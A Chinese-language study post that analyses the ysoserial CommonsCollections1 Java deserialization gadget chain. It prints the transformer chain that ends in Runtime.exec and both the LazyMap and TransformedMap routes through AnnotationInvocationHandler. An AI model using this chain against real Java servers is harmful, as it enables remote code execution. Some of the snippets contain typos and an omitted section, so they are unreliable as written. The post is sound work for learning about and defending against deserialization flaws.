Java反序列化学习-CommonsCollections1

前一段时间一直在思考如何学习与发掘java反序列化漏洞,最近有一点小的成果,因此便想借着研究java反序列化利用工具ysoserial的机会来验证下自己的思路。

Java反序列化利用

要想掌握Java反序列化漏洞payload的构造,那就要知道在构造Java反序列化的payload的构造过程中有三个比较特别重要的步骤,在这里简称为两点一链:

输入数据执行点

输入数据执行点是指能够将攻击者控制的数据作为java代码执行的位置。

反序列化传导链

反序列化传导链主要用作链接反序列化利用点和用户数据可控点,能够使用户可控的数据在反序列化过程中被利用。

反序列化利用点

反序列化是指在程序的执行流程中有执行反序列化的操作。该位置一般为程序自身实现,只需定位即可。

CommonsCollections1

介绍

Java Collections Framework 是JDK 1.2中的一个重要组成部分。它增加了许多强大的数据结构,加速了最重要的Java应用程序的开发。从那时起,它已经成为Java中集合处理的公认标准。官网介绍如下:Commons Collections使用场景很广,很多商业,开源项目都使用到了commons-collections.jar。 很多组件,容器,cms(诸如WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等)的rce漏洞都和Commons Collections反序列被披露事件有关。

利用条件

JDK <= 1.8u66
CommonCollections < 3.1
CommonCollections =4.0 (commons-collections-4.0删除了lazyMap的decode方法,所以需要将代码中的Map lazyMap = LazyMap.decorate(innerMap, transformerChain);修改为Map lazyMap = LazyMap.lazyMap(innerMap,transformerChain);)

代码分析

整个分析过程并未完全按照ysoserial中的代码进行分析,而是结合前面的思考结果进行分段分析,但是整个payload的生成流程与ysoserial中一致。

输入数据执行点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
final String[] execArgs = new String[] { command };
// 构造输入数据执行点,实际执行的为Runtime.getRuntime().exec(command)语句
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
//传入的为Runtime的class类,调用clazz.getMethod("getRuntime",null)方法,返回method方法
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
// 传入的为Method实利,调用method.invoke(null,null)方法,返回Runtime类
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
// 传入的为Runtime类,调用Runtime.exec(command)方法,执行命令
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

………………
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

根据上面的代码可以看到输入数据执行点就是利用Java中内置的类,能够将用户输入的数据作为代码执行。其中省略好表示的是反序列化传导链中的代码。

反序列化传导链

在CommonsCollections1中反序列化的传导链有两种构造方式,一种是使用LazyMap一种是使用TransformedMap,下面分别介绍这两种构造反序列化传导链的方法。

  1. LazyMap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Map innerMap = new HashMap();
LazyMap lazyMap = LazyMap.decorate(innerMap,transformerChain);
String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
// 获取 ANN_INV_HANDLER_CLASS类的构造函数
final Constructor<?> ctor = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
// 设置构造函数可访问
Permit.setAccessible(ctor);
// 创建InvocationHandler实例
InvocationHandler invocationHandler = ctor.newInstance(Override.class, lazyMap);
// 为Map创建代理类,Map接口所有的方法的调用都会调用invocationHandler实例的invoke方法
Map proxyMap = Proxy.newProxInstance(Gadgets.class.getClassLoader(),
new Class[]{Map.class}, invocationHandler));
// 利用创建的proxyMap来创建AnnotationInvocationHandler实例
InvocationHandler serialHandler = ctor.newInstance(Override.class,proxyMap);

从上面的代码可以看出该利用链条有LazyMap,Proxy代理类和最后的AnnotationInvocationHandler实例。下面结合各个类的源代码,对该链条做一个详细的分析:
LazyMap.java

1
2
3
4
5
6
7
8
9
10
11
12
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

从上面可以看出,LazyMap的构造函数中可以传入一个Transformer作为参数,而且当从LazyMap实例中获取数据时,如果map中不含有该key,那么就会调用传入的transformer的transform方法。该步骤实现了LazyMap与前面Transformer的链接。
AnnotationInvocationHandler.java
该类的访问控制权限为包内访问,因此需要采用反射的方式进行访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
assert va5.length == 0;
if(var4.equals("toString")){
return this.toStringImpl();
} else if(var4.equals("hashCode")){
return this.hashCodeImpl();
}else if(var4.equals("annonationType")){
return this.type;
}else{
Object var6 = this.memeberValue.get(var4);

…………………… // 由于jdk版本不对,需补充源代码
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);//判断第一个参数是否为AnnotationType,因此使用Retention.class传入较好。
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// memberValues.entrySet 方法触发了反序列化
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

这里只列出了AnnotationInvocationHandler类中使用到的代码,可以看到AnnotationInvocationHandler类的构造函数使用一个注解类和一个Map类构造实例。并且该类具有readObject方法,即能够进行序列化。但是此时有一个问题就是AnnotationInvocationHandler类在反序列化的过程中并没有直接调用其成员变量memberValues的get方法,查看其invoke方法中调用了memberValues的get方法。
因此,想到一个实现思路为利用AnnotationInvocationHandler实例和Map接口构造出一个代理类,当调用Map中的方法时,便会调用AnnotationInvocationHandler实例的invoke方法,进而调用LazyMap的get方法,最后实现对Transformer的调用,造成代码执行。
这就是为什么在构造传导链时需要两次创建AnnotationInvocationHandler的实例。
调用链条:

1
2
3
4
AnnotationInvocationHandler.readObject
AnnotationInvocationHandler.invoke
LazyMap.get
Transformer.transform

  1. TransformedMap
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    Map innerMap = new HashMap();
    innerMap.put("value","key");
    TransformerMap transformerMap = TransformerMap.decorate(innerMap,transformerChain);

    String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    // 获取 ANN_INV_HANDLER_CLASS类的构造函数
    final Constructor<?> ctor = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
    // 设置构造函数可访问
    Permit.setAccessible(ctor);
    // 创建InvocationHandler实例
    InvocationHandler invocationHandler = ctor.newInstance(Retention.class,transformerMap);

从上面的代码中可以看出利用TransformedMap,只需生成一个TransformedMap实例,然后直接构造AnnotationInvocationHandler实例即可。但是需要注意的是,inner.map中输入值的key必需与构造AnnotationInvocationHandler实例时传入的注解类相对应,如Retention.class,则其值为字符串“value”。下面来分析下该传导链条的传导过程。
TransformedMap.java

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

AbstractInputCheckedMapDecorator.java (TransformedMap的父类)

1
2
3
4
5
6
7
8
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

从上面可以看出,只要调用TransformedMap的setValue方法,便会调用Transformed链条,从而造成代码执行。分析AnnotationInvocationHandler类。
AnnotationInvocationHandler.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);//判断第一个参数是否为AnnotationType,因此使用Retention.class传入较好。
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || // 获取的值不是annotationType类型,便会触发setValue。这里只需用简单的String即可触发。
value instanceof ExceptionProxy)) {
memberValue.setValue( // 此处触发一些列的Transformer
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

前面已经说过其构造函数会接收一个注解类和一个Map实例作为参数。主要是分析其readObject方法,在readObject方法中调用了memberValue.setValue方法。即只要能够经过判断,到达该方法则就会触发反序列化链条,从而造成代码执行。
分析readObject中的代码,主要是循环TransformedMap(即传入的innerMap),然后获取其键值,之后查看注解类中是否有以该键值命名的类型,如果含有该类型,则比较其类型是否为value的实例化,如果不是则调用memberValue的setValue方法。
因此在选择注解类时,使用了Retention类,并为innerMap添加一个“value”为键的值(Retention类中有一个value方法)。
Retention.java

1
2
3
4
5
6
7
8
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
/**
* Returns the retention policy.
* @return the retention policy
*/
RetentionPolicy value();
}

反序列化函数调用链
1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler.readObject
Map.entrySet
AnnotationInvocationHandler.invoke
Map.get
ChainedTransformer.transform
ConstantTransformer.transform
InvokerTransformer.transform
InvokerTransformer.transform
InvokerTransformer.transform
源代码文件

1.源代码工程文件

参考文章

  1. 玩转Ysoserial-CommonsCollection的七种利用方式分析
  2. java反序列化漏洞-玄铁重剑之CommonsCollection(上)/)
  3. Java反序列化之Commons-Collections